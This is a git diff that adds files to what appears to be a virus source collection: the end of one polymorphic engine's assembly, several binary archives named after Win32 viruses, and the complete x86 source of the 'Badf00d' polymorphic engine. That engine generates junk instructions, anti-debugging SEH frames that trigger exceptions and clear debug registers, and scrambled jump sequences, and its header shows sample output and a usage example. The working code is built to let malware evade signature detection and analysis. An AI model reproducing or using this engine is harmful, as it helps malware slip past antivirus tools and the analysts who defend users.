CRPE_rnd_fim ; + + xor edx,edx ; EDX = 0 + div ecx ; EAX = EAX / Arg1 + mov eax,edx ; EAX = Rest + + CRPE_rnd_fim: + mov [esp+STACK_REG._EAX],eax + + popad ; Restore registers.. + ret 4h ; Return.. + +CRPE_rnd endp + +; - Trash generator (max.: 21 bytes | min.: 2 bytes) +; Input: EDI = Buffer +; Output: EDI = Buffer (updated) + +CRPE_tg proc + + pushad ; Save registers + + push 3 ; + call CRPE_rnd ; Get random number between 0-3 + + dec eax ; + js @trash1 ; + dec eax ; + jz @trash2 ; + dec eax ; + jz @trash3 ; + + ; Generate: PUSH (REG Y) / POP (REG Y) + @trash4: + push 7 ; + call CRPE_rnd ; Get random number between 0-7 + add al,50h ; Generate PUSH (REG) + mov ah,al ; + add ah,8 ; Generate POP (REG) + stosw ; write.. + + push 1 ; Choose next trash routine... + call CRPE_rnd ; + xchg eax,ecx ; + jecxz @trash2 ; + + ; Generate: MOV (REG X),(REG X) + @trash3: + push 7 ; + call CRPE_rnd ; Get random number between 0-7 + mov bl,al ; BL = AL \ + shl al,3 ; AL = AL * 8 > Optimized for speed + add al,bl ; AL+= BL / + add al,0C0h ; AL+= 0C0h + mov ah,08Bh ; Generater MOV (REG X),(REG X) + xchg ah,al ; Exchange: AH <-> AL + stosw ; write... + + push 1 ; Choose next trash routine... + call CRPE_rnd ; + xchg eax,ecx ; + jecxz @trash1 ; + + ; Generate: CMP/TEST (REG X),(REG Y) + @trash2: + push 03Fh ; + call CRPE_rnd ; Get random number between 0-63 + xchg bl,al ; Exchange: BL <-> AL + add bl,0C0h ; BL+= 0C0h + push 1 ; + call CRPE_rnd ; Choose: CMP or TEST + or eax,eax ; + jz @@_cmp ; + @@_test: ; + mov al,085h ; Generate: TEST opcode + jmp @@write_trash_ ; + @@_cmp: ; + mov al,03Bh ; Generate: CMP opcode + @@write_trash_: ; + mov ah,bl ; AH = BL + stosw ; Write... + jmp @trash_end + + ; Generate: CALL (XXXX) | ESP-4 + @trash1: + mov al,0E8h ; + stosb ; Generate CALL opcode + + push 8 ; + call CRPE_rnd ; Get random number between 0-8 + inc eax ; EAX++ + stosd ; Generate imm32 of CALL + + mov ecx,eax ; ECX = EAX (imm32) + @@repeat_trash: ; + push -1 ; + call CRPE_rnd ; Generate random number in EAX + stosb ; write al + loop @@repeat_trash ; (ECX) times... + + push 1 ; + call CRPE_rnd ; Choose: ADD ESP,4 or + xchg eax,ecx ; INC ESP / INC ESP / INC ESP / INC ESP + jecxz @@4dec_esp ; + + mov al,83h ; + stosb ; Generate ADD ESP,4 + mov ax,04C4h ; + stosw ; + jmp @trash_end ; No more trash... + + @@4dec_esp: ; + mov eax,44444444h ; Generate INC ESP, 4 times + stosd ; + + @trash_end: + mov [esp+STACK_REG._EDI],edi ; Update EDI... + popad ; Restore registers + ret ; Return... + +CRPE_tg endp + +; - Hashing +; Input: +; Arg1 = Pointer to data to hash +; Arg2 = Size of data to hash +; Arg3 = MAGIC +; Outrput: +; EAX = Hashed data + +CRPE_hash proc + + pushad ; Save regs. + + mov edx,[esp+STACK_REGS+4] ; EDX = Buffer + mov ecx,[esp+STACK_REGS+8] ; ECX = Size of buffer (byte counter) + xor eax,eax ; EAX = 0 (reader / hasher) + mov ebx,eax ; EBX = 0 (bit counter) + + @@@hash_byte: ; + xor eax,[esp+STACK_REGS+12] ; + xor al,[edx+ecx-1] ; + or bl,8 ; + + @@@hash_bit: ; + shl eax,1 ; + sbb eax,ebx ; + dec ebx ; + jnz @@@hash_bit ; EBX != 0 ? Go to the next bit... + + dec ecx ; + jnz @@@hash_byte ; ECX != 0 ? Go to the next byte... + + mov [esp+STACK_REG._EAX],eax ; + + popad ; Restore regs. + ret 0Ch ; Return... + +CRPE_hash endp + + + + + + + diff --git a/Engines/Virus.Win32.Simple.7z b/Engines/Virus.Win32.Simple.7z new file mode 100644 index 00000000..3a0a0887 Binary files /dev/null and b/Engines/Virus.Win32.Simple.7z differ diff --git a/Engines/Virus.Win32.Spectr0.7z b/Engines/Virus.Win32.Spectr0.7z new file mode 100644 index 00000000..5d333930 Binary files /dev/null and b/Engines/Virus.Win32.Spectr0.7z differ diff --git a/Engines/Virus.Win32.Vpe.7z b/Engines/Virus.Win32.Vpe.7z new file mode 100644 index 00000000..05a1a5e9 Binary files /dev/null and b/Engines/Virus.Win32.Vpe.7z differ diff --git a/Engines/Virus.Win32.Xtg.7z b/Engines/Virus.Win32.Xtg.7z new file mode 100644 index 00000000..70b0668c Binary files /dev/null and b/Engines/Virus.Win32.Xtg.7z differ diff --git a/Engines/Virus.Win32.Yad13.7z b/Engines/Virus.Win32.Yad13.7z new file mode 100644 index 00000000..0a90a6e8 Binary files /dev/null and b/Engines/Virus.Win32.Yad13.7z differ diff --git a/Engines/Virus.Win32.badf00d.asm b/Engines/Virus.Win32.badf00d.asm new file mode 100644 index 00000000..cac182c9 --- /dev/null +++ b/Engines/Virus.Win32.badf00d.asm @@ -0,0 +1,990 @@ +comment $ + + + \`. |\ + \`-. \ `.| \!,, + \ \ `.\ _ (__ + _ `-.> \ ___ \ __ ------------------------------------------ + `-/,o-./O `. ._` Badf00d Polymorphic Engine + -// j_ | `` _<` ------------------------------------------ + |\__( \--' ' \ . by Piotr Bania + > _ `--' _/ ; http://pb.specialised.info + | / `----.. . / ( + | ( `. Y ) + \ \ ,-.-.| |_ (_ + `.`.___\ \ \/=.`. __) a little bit of this, + `--,==\ )==\,\ (_ a little bit of that + ,'\===`--'====\,\ `-. + ,'.` ============\,\ (`-' + /`=.`Y=============\,\ .' + /`-. `|==============\_,-._ + /`-._`=|=___=========,'^, c-) + \`-----+' ._)=====_(_`-' ^-'`-. + -----`=====, \ `.-==(^_ ^c_,.^ `^_\----- + (__/`--'('(_,-._)-._,-.,__)`) hjw + `-._`._______.'_.-' + `---------' + + + + + Disclaimer__________________________________________________________________________________] + + Author takes no responsibility for any actions with provided informations or codes. + The copyright for any material created by the author is reserved. Any duplication of + codes or texts provided here in electronic or printed publications is not permitted + without the author's agreement. If you disagree - leave now! + + + + Introduction________________________________________________________________________________] + + I must confess i was pretty bored and that's why i have written this engine. Meanwhile + i was also thinking about some PE encrypter, so sooner or later i got to produce some + poly engine for it. This little thingie was written in 2 days (few hours each day). + Current version is super beta, drop me an mail if you will find any errors. + + + + Features____________________________________________________________________________________] + + + SEH frames generator (int3/sti/cli exceptions, BPM removers (dr0-3 cleaners), random + registry usage, random size of garbage block (return address is calculated via size + of the generated junks), generated SEH block looks like this: + + + * SNIP * + 00402814 E8 3D000000 CALL pol.00402856 + 00402819 8BD4 MOV EDX,ESP ; generated REG + 0040281B 81C2 0C000000 ADD EDX,0C + 00402821 8B12 MOV EDX,DWORD PTR DS:[EDX] + 00402823 C782 04000000 00>MOV DWORD PTR DS:[EDX+4],0 + 0040282D C782 08000000 00>MOV DWORD PTR DS:[EDX+8],0 + 00402837 C782 12000000 00>MOV DWORD PTR DS:[EDX+12],0 + 00402841 C782 16000000 00>MOV DWORD PTR DS:[EDX+16],0 + 0040284B 8182 B8000000 05>ADD DWORD PTR DS:[EDX+B8],5 ; calcs return addr + 00402855 C3 RETN + 00402856 33C9 XOR ECX,ECX + 00402858 64:FF31 PUSH DWORD PTR FS:[ECX] + 0040285B 64:8921 MOV DWORD PTR FS:[ECX],ESP + 0040285E CC INT3 + 0040285F AF SCAS DWORD PTR ES:[EDI] + 00402860 C8 50C933 ENTER 0C950,33 + 00402864 C0648F 00 5A SHL BYTE PTR DS:[EDI+ECX*4],5A + * SNIP * + + As you can see doing only regswaping is not a good solution (still signature can be + generated - look RegSwap virus description), prolly it is better to mix randomly SEH + instructions with garbage. Use your imagination. + + + + safe garbage generator (generates stepable garbage code, moreover user can specyfi + what registers should be used and what should be not, this feature gives an + advantage to mix original code together with garbage code, without destroying the + values from orginal one), like this snipet shows: + + + * SNIP - ALL REGS ALLOWED * + 00402814 F7D2 NOT EDX + 00402816 D1D3 RCL EBX,1 + 00402818 9B WAIT + 00402819 9B WAIT + 0040281A D1F9 SAR ECX,1 + 0040281C 93 XCHG EAX,EBX + 0040281D 81C3 B9B1F0A8 ADD EBX,A8F0B1B9 + 00402823 F9 STC + 00402824 81EF 73D13C4E SUB EDI,4E3CD173 + 0040282A 3BC7 CMP EAX,EDI + 0040282C FD STD + 0040282D 2BC6 SUB EAX,ESI + 0040282F 57 PUSH EDI + 00402830 81C9 6FA7215F OR ECX,5F21A76F + 00402836 33F3 XOR ESI,EBX + 00402838 F7D8 NEG EAX + 0040283A 1BCE SBB ECX,ESI + * SNIP - ALL REGS ALLOWED * + + + * SNIP - ALLOWED EAX/EBX * + 00402814 F7DB NEG EBX + 00402816 F7D0 NOT EAX + 00402818 85C3 TEST EBX,EAX + 0040281A F8 CLC + 0040281B 90 NOP + 0040281C C7C3 BB153882 MOV EBX,823815BB + 00402822 F7D8 NEG EAX + 00402824 09DB OR EBX,EBX + 00402826 D1D3 RCL EBX,1 + 00402828 D1D8 RCR EAX,1 + 0040282A EB 00 JMP SHORT pol.0040282C + 0040282C 81EB 011DAF21 SUB EBX,21AF1D01 + 00402832 81E8 3BB25C3B SUB EAX,3B5CB23B + 00402838 F8 CLC + * SNIP - ALLOWED EAX/EBX * + + + + hardcore garbage generator (generates jmp over_garbage and generates garbage stepable + or totaly randomized - this one will be never executed), like here: + + + * SNIP - SOME GARBAGE CODE * + 00402810 EB 14 JMP SHORT pol.00402826 + 00402812 CB RETF + 00402813 69A0 1C1E85D1 F9>IMUL ESP,DWORD PTR DS:[EAX+D1851E1C],886> + 0040281D F2: PREFIX REPNE: + 0040281E 4B DEC EBX + 0040281F 85FF TEST EDI,EDI + 00402821 198A 797CF6EB SBB DWORD PTR DS:[EDX+EBF67C79],ECX + 00402827 0C C8 OR AL,0C8 + * SNIP - SOME GARBAGE CODE * + + + + backwards jumps generator (generates some funny jumps :)) + + * SNIP * + 0040280C EB 3A JMP SHORT pol.00402848 + 0040280E 33FE XOR EDI,ESI + 00402810 EB 3B JMP SHORT pol.0040284D + 00402812 AE SCAS BYTE PTR ES:[EDI] + 00402813 ^73 C8 JNB SHORT pol.004027DD + 00402815 71 13 JNO SHORT pol.0040282A + 00402817 90 NOP + 00402818 5E POP ESI + 00402819 C2 AFE0 RETN 0E0AF + 0040281C BB 8406103D MOV EBX,3D100684 + 00402821 60 PUSHAD + 00402822 E5 77 IN EAX,77 + 00402824 2AC4 SUB AL,AH + 00402826 59 POP ECX + 00402827 3E:5C POP ESP + 00402829 0E PUSH CS + 0040282A 67:73 7A JNB SHORT pol.004028A7 + 0040282D AF SCAS DWORD PTR ES:[EDI] + 0040282E 27 DAA + 0040282F 0880 3B2E3EF3 OR BYTE PTR DS:[EAX+F33E2E3B],AL + 00402835 5D POP EBP + 00402836 52 PUSH EDX + 00402837 D9FB FSINCOS + 00402839 ^E1 BD LOOPDE SHORT pol.004027F8 + 0040283B 4E DEC ESI + 0040283C 53 PUSH EBX + 0040283D 4D DEC EBP + 0040283E 62D6 BOUND EDX,ESI + 00402840 A7 CMPS DWORD PTR DS:[ESI],DWORD PTR ES:[ED> + 00402841 FF49 8C DEC DWORD PTR DS:[ECX-74] + 00402844 07 POP ES + 00402845 56 PUSH ESI + 00402846 7A 15 JPE SHORT pol.0040285D + 00402848 9B WAIT + 00402849 ^EB C5 JMP SHORT pol.00402810 + 0040284B 6E OUTS DX,BYTE PTR ES:[EDI] + 0040284C 45 INC EBP + * SNIP * + + + TODO________________________________________________________________________________________] + + + code some multiple decryption routines (xlat/xor/etc. etc - backwards/forwards) + + add some checksum checker routines + + code new engine :)) + + + Sample_usage________________________________________________________________________________] + + * SNIP * + call random_setup ; set seed + mov ecx,30 ; loop counter + lea edi,temp_buff ; EDI = where to store + gen_it: + mov eax,3 + call random_eax ; give random + cmp eax,0 + je skip_jmp + + cmp eax,1 + je skip_sehs + + call t_normalize_pops ; normalize stack before SEHs + add edi,eax + + call gen_seh ; generate SEHs + add edi,eax ; add edi,generated_code_size + skip_sehs: + call gen_bjumps ; generate backwards jumps + add edi,eax ; add edi,generated_code_size + skip_jmp: + mov eax,2 + call random_eax ; give random + test eax,eax + jnz gen_it2 + + call gen_garbage_i ; generate some stepable junk + jmp loopers + + gen_it2: + call hardcode_garbage_i ; generate some hard junks + + loopers: + add edi,eax ; add edi,generated_code_size + loop gen_it + + + call t_normalize_pops ; normalize stack if it wasn't + add edi,eax ; normalized + * SNIP * + + + + Have phun, + Piotr Bania + + + + +$ + + +M0_EAX equ 0 +M0_ECX equ 1 +M0_EDX equ 2 +M0_EBX equ 3 +M0_ESI equ 4 +M0_EDI equ 5 + +M1_EAX equ 0 +M1_ECX equ 1 +M1_EDX equ 2 +M1_EBX equ 3 +M1_ESI equ 6 +M1_EDI equ 7 + + +M2_EAX equ 0 shl 3 +M2_ECX equ 1 shl 3 +M2_EDX equ 2 shl 3 +M2_EBX equ 3 shl 3 +M2_ESI equ 6 shl 3 +M2_EDI equ 7 shl 3 + +; -------------- MAIN REGISTERS TABLES ---------------------------------------- + +x1_table: db M1_EAX + db M1_ECX + db M1_EDX + db M1_EBX + db M1_ESI + db M1_EDI +x1_tbl_size = $ - offset x1_table + +x2_table: db M2_EAX + db M2_ECX + db M2_EDX + db M2_EBX + db M2_ESI + db M2_EDI +x2_tbl_size = $ - offset x2_table + + +; -------------- INSTRUCTION TABLES ------------------------------------------- +; FORMAT: (1 BYTE) (BYTE) (BYTE) (BYTE) +; +; +; if there is no MODRM, MODRM must be set to 2Dh (temp) + +NO_M equ 02dh +C_NONE equ 0 +C_SRC equ 1 +C_DST equ 2 +C_BOTH equ 3 + + + +allowed_regs: db M0_EAX, M0_ECX, M0_EDX, M0_EBX, M0_ESI, M0_EDI +instr_table: db 0f9h, NO_M, 1h, C_NONE ; stc + db 0EBh, NO_M, 2h, C_NONE ; jmp $+1 + db 0c7h, 0c0h, 6h, C_SRC ; mov reg(EAX),NUM + db 08bh, 0c0h, 2h, C_BOTH ; mov reg(EAX),reg(EAX) + db 081h, 0c0h, 6h, C_SRC ; add reg(EAX),NUM + db 003h, 0c0h, 2h, C_BOTH ; add reg(EAX),reg(EAX) + db 081h, 0e8h, 6h, C_SRC ; sub reg(EAX),NUM + db 02bh, 0c0h, 2h, C_BOTH ; sub reg(EAX),reg(EAX) + db 040h, NO_M, 1h, C_SRC ; inc reg(EAX) + db 048h, NO_M, 1h, C_SRC ; dec reg(EAX) +_i_xor_r db 033h, 0c0h, 2h, C_BOTH ; xor reg(EAX),reg(EAX) + db 009h, 0c0h, 2h, C_BOTH ; or reg(EAX),reg(EAX) + db 081h, 0c8h, 6h, C_SRC ; or reg(EAX),NUM + db 03bh, 0c0h, 2h, C_BOTH + db 085h, 0c0h, 2h, C_BOTH + db 01bh, 0c0h, 2h, C_BOTH ; sbb reg(EAX),reg(EAX) + db 011h, 0c0h, 2h, C_BOTH ; adc reg(EAX),reg(EAX) + db 0f7h, 0d0h, 2h, C_SRC ; not reg(EAX) + db 0f7h, 0d8h, 2h, C_SRC ; neg reg(EAX) + db 0d1h, 0f8h, 2h, C_SRC ; sar reg(EAX),1 + db 0d1h, 0d8h, 2h, C_SRC ; rcr reg(EAX),1 + db 0d1h, 0d0h, 2h, C_SRC ; rcl reg(EAX),1 + db 091h, NO_M, 1h, C_SRC ; xchg reg(EAX),reg(ECX) + db 090h, NO_M, 1h, C_NONE ; nop + db 0fch, NO_M, 1h, C_NONE ; cld + db 0f8h, NO_M, 1h, C_NONE ; clc + db 0fdh, NO_M, 1h, C_NONE ; std + db 09bh, NO_M, 1h, C_NONE ; wait + db 050h, NO_M, 1h, C_SRC ; push reg(eax) +_i_pop db 058h, NO_M, 1h, C_SRC ; pop reg(eax) (must be last one) +ENTRY_TABLE_SIZE = 4 +instr_table_size = (($-offset instr_table)/4) + + dd 0 +push_number dd 0 +do_push db 1 ; should we process pushs? + +O_JMP equ 0EBh +O_PUSH equ 050h +O_POP equ 058h +i_jmp: db 0EBh, NO_M, 2h ; jmp $+1 + + + +; -------------- GARBAGE GENERATOR (SAFE) ------------------------------------ +; EDI = where +; ---------------------------------------------------------------------------- + +gen_garbage_i: + + pushad +garbage_again: + mov eax,instr_table_size + call random_eax + + lea esi,instr_table + mov ecx,ENTRY_TABLE_SIZE + mul ecx ; eax=member from table to use + add esi,eax + jmp garbage_co + +garbage_hand: pushad +garbage_co: lodsw ; ah = modrm value / al=opcode + cmp ah,NO_M + je no_modrm + stosb ; store opcode + xor edx,edx + mov dl,ah + cmp byte ptr [esi+1],C_BOTH ; what registers to mutate + je p_01 + cmp byte ptr [esi+1],C_SRC + jne t_01 + +p_01: and dl,0F8h + mov eax,x1_tbl_size + call random_eax + mov al,byte ptr [allowed_regs[eax]] + mov al,byte ptr [x1_table[eax]] + or dl,al + mov byte ptr [edi],dl + +t_01: cmp byte ptr [esi+1],C_BOTH ; what registers to mutate + je p_02 + cmp byte ptr [esi+1],C_DST + jne finish_i + +p_02: and dl,0C7h + mov eax,x2_tbl_size + call random_eax + mov al,byte ptr [allowed_regs[eax]] + mov al,byte ptr [x2_table[eax]] + or dl,al ; update modrm value + mov byte ptr [edi],dl + +finish_i: mov cl,byte ptr [esi] + sub cl,2 + inc edi + cmp cl,0 + jle garbage_done + +store_op: mov eax,12345678h + call random_eax + stosb + loop store_op + + +garbage_done: xor eax,eax + mov al,byte ptr [esi] + mov [esp+PUSHA_STRUCT._EAX],eax + popad + ret + + +; ---------------------------------------------------- +; NO MOD-RMs +; ---------------------------------------------------- + + +no_modrm: xor edx,edx + mov dl,al + + cmp byte ptr [esi+1],C_NONE + je t_none + cmp dl,O_PUSH + je t_push + cmp dl,O_POP + je t_pop + + +go_nomodrm: mov eax,x1_tbl_size + call random_eax + mov al,byte ptr [allowed_regs[eax]] + mov al,byte ptr [x1_table[eax]] + and dl,0F8h + or dl,al + mov byte ptr [edi],dl + inc edi + jmp finish_i + +t_none: mov byte ptr [edi],dl + inc edi + cmp dl,O_JMP + jne finish_i + mov byte ptr [edi],0 + inc edi + jmp finish_i + +t_push: cmp byte ptr [do_push],1 + jne garbage_again + inc dword ptr [push_number] + jmp go_nomodrm + +t_pop: cmp byte ptr [do_push],1 + jne garbage_again + + cmp dword ptr [push_number],0 + jle garbage_again + + dec dword ptr [push_number] + jmp go_nomodrm + + + +t_normalize_pops: + + pushad + xor ebx,ebx + mov ecx,dword ptr [push_number] + test ecx,ecx + jz t_opsexit + + +t_givepops: lea esi,_i_pop + call garbage_hand + add edi,eax + add ebx,eax + loop t_givepops + +t_opsexit: mov [esp+PUSHA_STRUCT._EAX],ebx + popad + ret + + +; --------------------------------------------------------------------------- +; HARDCORE GARBAGER +; --------------------------------------------------------------------------- +; EDI = where to store +; +; This one generates code like this: +; jmp over_garbage +; +; +; max: up to 20 "instructions" +; --------------------------------------------------------------------------- + +hardcode_garbage_i: + + pushad + mov ebx,edi + lea edi,hardcore_temp + mov eax,20 + call random_eax + mov ecx,eax + add ecx,4 + +h_fill: mov eax,2 + call random_eax + test eax,eax + jnz h_hard + call gen_garbage_i + jmp h_cont + +h_hard: mov eax,5 + call random_eax + mov edx,eax + inc edx + xor esi,esi + +h_hard_fill: mov eax,0FFFFh + call random_eax + stosb + inc esi + dec edx + jnz h_hard_fill + loop h_fill + jmp h_done + +h_cont: add edi,eax + loop h_fill + +h_done: lea ecx,hardcore_temp + sub edi,ecx + mov ecx,edi + + mov byte ptr [ebx],O_JMP + inc ebx + mov byte ptr [ebx],cl + inc ebx + + push ecx + mov edi,ebx + lea esi,hardcore_temp + rep movsb + pop eax + add eax,2 + + mov [esp+PUSHA_STRUCT._EAX],eax + popad + ret + +; ------------------------------------------------------------- +; Generates backwards jumps +; ------------------------------------------------------------- +; EDI = buffor + +gen_bjumps: + + pushad + mov ebx,edi + mov byte ptr [jmp_flag],0 + mov byte ptr [jmp_flag_b],0 + mov dword ptr [count_jmp],0 + mov dword ptr [where_where],0 + mov dword ptr [jmp_bytes],0 + mov byte ptr [do_push],0 + mov byte ptr [where_losed],0 + + mov byte ptr [ebx],O_JMP + mov dword ptr [where_start],ebx + add dword ptr [where_start],2 + inc ebx + + xor esi,esi + add edi,2 + add dword ptr [jmp_bytes],2 + +gen_gar_i: mov eax,20 + call random_eax + mov ecx,eax + add ecx,10 + +gen_gar_ii: call gen_garbage_i + add dword ptr [jmp_bytes],eax + add esi,eax + add edi,eax + cmp byte ptr [jmp_flag],1 + jne gen_gari_ix + add dword ptr [count_jmp],eax + jmp gen_gari_ixx + +gen_gari_ix: push eax + mov eax,2 + call random_eax + mov edx,eax + pop eax + cmp byte ptr [where_losed],1 + je gen_gari_ixx + add dword ptr [where_start],eax + cmp edx,1 + je gen_gari_ixx + mov byte ptr [where_losed],1 + +gen_gari_ixx: mov eax,3 + call random_eax + cmp eax,2 + jne cont_gari + cmp byte ptr [jmp_flag],1 + je cont_gari + mov byte ptr [jmp_flag],1 + mov byte ptr [edi],O_JMP + inc edi + mov dword ptr [where_jmp],edi + inc edi + add esi,2 + +cont_gari: loop gen_gar_ii + mov eax,esi + mov byte ptr [ebx],al + cmp byte ptr [jmp_flag],1 + je cont_gari2 + mov byte ptr [edi],O_JMP + inc edi + mov dword ptr [where_jmp],edi + inc edi + +cont_gari2: mov dword ptr [where_where],edi + add dword ptr [jmp_bytes],2 + mov eax,5 + call random_eax + inc eax + mov ecx,eax + +cont_gari3: call gen_garbage_i + add dword ptr [jmp_bytes],eax + add edi,eax + add dword ptr [count_jmp],eax + loop cont_gari3 + mov byte ptr [edi],O_JMP + mov eax,edi + sub eax,dword ptr [where_start] + add eax,2 + neg eax + + pushad + add edi,2 + mov eax,4 + call random_eax + mov ecx,eax + test ecx,ecx + jz cont_gari4 + +place_gar: mov eax,0FFh + call random_eax + inc dword ptr [count_jmp] + inc dword ptr [jmp_bytes] + stosb + loop place_gar + + +cont_gari4: add dword ptr [count_jmp],2 + mov eax,dword ptr [count_jmp] + mov edx,dword ptr [where_jmp] + mov byte ptr [edx],al + popad + mov byte ptr [edi+1],al + add dword ptr [jmp_bytes],2 + mov edx,dword ptr [where_where] + sub edx,dword ptr [where_jmp] + dec edx + mov ecx,edx + mov edx,dword ptr [where_jmp] + inc edx + cmp ecx,0 + jle cont_no_xor + +cont_xor: mov eax,0FFh + call random_eax + xor byte ptr [edx],al + inc edx + loop cont_xor + +cont_no_xor: mov byte ptr [do_push],1 + mov edx,dword ptr [jmp_bytes] + mov [esp+PUSHA_STRUCT._EAX],edx + popad + ret + +jmp_bytes dd 0 +where_losed db 0 +where_where dd 0 +where_start dd 0 +count_jmp dd 0 +where_jmp dd 0 +jmp_flag db 0 +jmp_flag_b db 0 + + + + + +; ------------------------------------------------------------- +; Generates SEH frames/exceptions/etc. +; ------------------------------------------------------------- +; EDI = buffor + + +FS_PREFIX equ 064h +seh_push_fs db 0ffh, 030h, 2h, C_SRC +seh_mov_fs db 089h, 020h, 2h, C_SRC +seh_pop_fs db 08fh, 000h, 2h, C_SRC + +_mov_reg_esp db 08bh, 0c4h, 2h, C_DST ; mov reg,ESP +_add_reg_num db 081h, 0c0h, 2h, C_SRC ; add reg,NUM (we must typo NUM by hand: 4) LEN=6 +_mov_reg_oreg db 08bh, 000h, 2h, C_BOTH ; mov reg,[REG] +_mov_dreg_num db 0c7h, 080h, 2h, C_SRC ; mov [reg+NUM],0 (add NUM by hand) LEN: A +_add_dreg_num db 081h, 080h, 2h, C_SRC + +exception_table: + db 0CCh ; int 3 + db 0fah ; cli + db 0fbh ; sti +exception_table_size = $-offset exception_table + + + + + + +gen_seh: + pushad + xor edx,edx + mov ebx,edi + mov byte ptr [edi],0E8h + mov dword ptr [edi+1],0 + add edx,5 + add edi,5 + push edi + lea esi,allowed_regs + mov ecx,x1_tbl_size + push esi + push ecx + lea edi,allowed_regs_temp + rep movsb + pop ecx + pop edi + + pushad + mov eax,x1_tbl_size + call random_eax + cmp eax,M0_EAX + jne reg_p + inc eax ; somehow :) EAX usage results with invalid disposition error + +reg_p: rep stosb + mov edi,[esp+PUSHA_STRUCT_SIZE] + lea esi,_mov_reg_esp + call garbage_hand + add dword ptr [esp+PUSHA_STRUCT._EDX],eax + add [esp+PUSHA_STRUCT_SIZE],eax + add edi,eax + lea esi,_add_reg_num + call garbage_hand + add edi,2 + mov dword ptr [edi],0Ch + add dword ptr [esp+PUSHA_STRUCT._EDX],6 + add [esp+PUSHA_STRUCT_SIZE],6 + add edi,4 + lea esi,_mov_reg_oreg + call garbage_hand + add dword ptr [esp+PUSHA_STRUCT._EDX],eax + add [esp+PUSHA_STRUCT_SIZE],eax + add edi,eax + lea esi,_mov_dreg_num + call garbage_hand + add dword ptr [esp+PUSHA_STRUCT._EDX],0ah + add [esp+PUSHA_STRUCT_SIZE],0ah + add edi,2 + mov dword ptr [edi],04h + mov dword ptr [edi+4],0h + add edi,0ah-2 + lea esi,_mov_dreg_num + call garbage_hand + add dword ptr [esp+PUSHA_STRUCT._EDX],0ah + add [esp+PUSHA_STRUCT_SIZE],0ah + add edi,2 + mov dword ptr [edi],08h + mov dword ptr [edi+4],0h + add edi,0ah-2 + lea esi,_mov_dreg_num + call garbage_hand + add dword ptr [esp+PUSHA_STRUCT._EDX],0ah + add [esp+PUSHA_STRUCT_SIZE],0ah + add edi,2 + mov dword ptr [edi],12h + mov dword ptr [edi+4],0h + add edi,0ah-2 + lea esi,_mov_dreg_num + call garbage_hand + add dword ptr [esp+PUSHA_STRUCT._EDX],0ah + add [esp+PUSHA_STRUCT_SIZE],0ah + add edi,2 + mov dword ptr [edi],16h + mov dword ptr [edi+4],0h + add edi,0ah-2 + lea esi,_add_dreg_num + call garbage_hand + add dword ptr [esp+PUSHA_STRUCT._EDX],0ah+1 + add [esp+PUSHA_STRUCT_SIZE],0ah+1 + add edi,2 + mov dword ptr [edi],0b8h + add edi,4 + mov dword ptr [where_over],edi + add edi,0ah-6 + mov byte ptr [edi],0C3h ; ret + inc edi + popad + mov byte ptr [ebx+1],dl + sub byte ptr [ebx+1],5 + mov eax,x1_tbl_size + call random_eax + rep stosb + pop edi + lea esi,_i_xor_r + call garbage_hand + add edi,eax + add edx,eax + mov byte ptr [edi],FS_PREFIX + inc edi + inc edx + lea esi,seh_push_fs + call garbage_hand + add edi,eax + add edx,eax + mov byte ptr [edi],FS_PREFIX + inc edi + inc edx + lea esi,seh_mov_fs + call garbage_hand + add edi,eax + add edx,eax + call reset_regs + xor ebx,ebx + mov eax,exception_table_size + call random_eax + mov cl,byte ptr exception_table[eax] + mov byte ptr [edi],cl + inc edx + inc edi + inc ebx + call fill_trash + add edx,eax + add ebx,eax + add edi,eax + push edi + mov edi,dword ptr [where_over] + mov dword ptr [edi],ebx + pop edi + call finalize_seh + add edx,eax + mov [esp+PUSHA_STRUCT._EAX],edx + popad + ret + + + +where_over dd 0 +allowed_regs_temp db x1_tbl_size dup (0) + + + + +finalize_seh: + pushad + call gen_regs + xor edx,edx + lea esi,_i_xor_r + call garbage_hand + add edi,eax + add edx,eax + mov byte ptr [edi],FS_PREFIX + inc edi + inc edx + lea esi,seh_pop_fs + call garbage_hand + add edi,eax + add edx,eax + call reset_regs + inc dword ptr [push_number] + lea esi,_i_pop + call garbage_hand + add edx,eax + add edi,eax + mov [esp+PUSHA_STRUCT._EAX],edx + popad + ret + +fill_trash: pushad + xor ebx,ebx + mov eax,20 + call random_eax + mov ecx,eax + test eax,eax + jz done_fill_trash + +fill_trash_x: mov eax,0FFh + call random_eax + stosb + inc ebx + loop fill_trash_x + +done_fill_trash: + mov [esp+PUSHA_STRUCT._EAX],ebx + popad + ret + +reset_regs: + pushad + lea esi,allowed_regs_temp + mov ecx,x1_tbl_size + lea edi,allowed_regs + rep movsb + popad + ret + + +gen_regs: pushad + mov eax,x1_tbl_size + call random_eax + lea edi,allowed_regs + mov ecx,x1_tbl_size + rep stosb + popad + ret + + +set_random: pushad + mov eax,6 + call random_eax + cmp eax,5 + jne not_set + call gen_bjumps + jmp le_set + +not_set: xor eax,eax +le_set: mov [esp+PUSHA_STRUCT._EAX],eax + + popad + ret + + +random_setup proc + + @callx GetTickCount + mov Random_Seed,eax + ret + +random_setup endp + +Random_Seed dd 0 + +random_eax proc + + PUSH ECX + PUSH EDX + PUSH EAX + db 0Fh, 31h ; RDTSC + MOV ECX, Random_Seed + ADD EAX, ECX + ROL ECX, 1 + ADD ECX, 666h + MOV Random_Seed, ECX + PUSH 32 + POP ECX + +CRC_Bit: SHR EAX, 1 + JNC Loop_CRC_Bit + XOR EAX, 0EDB88320h + +Loop_CRC_Bit: LOOP CRC_Bit + POP ECX + XOR EDX, EDX + DIV ECX + XCHG EDX, EAX + OR EAX, EAX + POP EDX + POP ECX + RETN +random_eax endp